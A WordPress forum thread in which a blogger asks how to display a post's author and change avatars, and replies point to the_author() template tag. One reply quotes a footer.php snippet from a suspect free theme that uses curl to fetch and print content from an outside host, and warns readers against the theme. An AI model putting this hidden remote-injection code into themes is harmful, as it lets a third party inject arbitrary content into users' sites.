How To Show Author’s Post?

    Hi, I’m running my blog with multiple authors.
    The thing that I dont like is that I can’t see which author posted, they always have to leave a signature. Is there a way to fix it so that they show who created the post before users read it? (Like it’s below the title of their post)

    Also one other thing is how do I change my avatar. And can everyone change theirs as well?

    Thanks!

    It’s normally inserted with the rest of the meta data directly below the post title. (along with the date, category etc)

    Example: Posted by Mr.X on Jan 07, 2009 in Some Category

    So I have to go to my editor and find the file single.php and add <?php the_author(); ?> there?

    Yeah, you can insert it into any page template you want. Just be sure to use it inside the loop.

    Hi,

    You can add this into the post or a page for the author details..for that you can also use various author tags for that please refer:

    Why would he want to do that? He can refer to the Template Tags section of the Codex.

    Are you here to help or plug your blog?

    Speaking of plugging sites I thought I would visit the site our buddy Shane is plugging –> bestwpthemez.com

    The VERY FIRST theme I downloaded and inspected contained the following in footer.php …

    elseif(function_exists('curl_init')) {
    $ch = curl_init ("http://www.build-reciprocal-links.com/wordpress.asp");
    curl_setopt ($ch, CURLOPT_HEADER, 0);
    curl_exec ($ch);

    if(curl_error($ch))
         echo "All original content copyright &copy; <a href='http://www.build-reciprocal-links.com/' target='_blank'>build-reciprocal-links.com</a> <br />All rights reserved. Design by <a href='http://www.build-reciprocal-links.com/' target='_blank'>Popular WordPress Themes</a> and Powered by <a href='http://www.accuwebhosting.com/' target='_blank'>Web Hosting.</a>";

    curl_close ($ch);
}

    For the uninformed that is curl. Using curl these clowns can display ANYTHING they want on your site. DO NOT USE THEMES FROM THIS SITE.
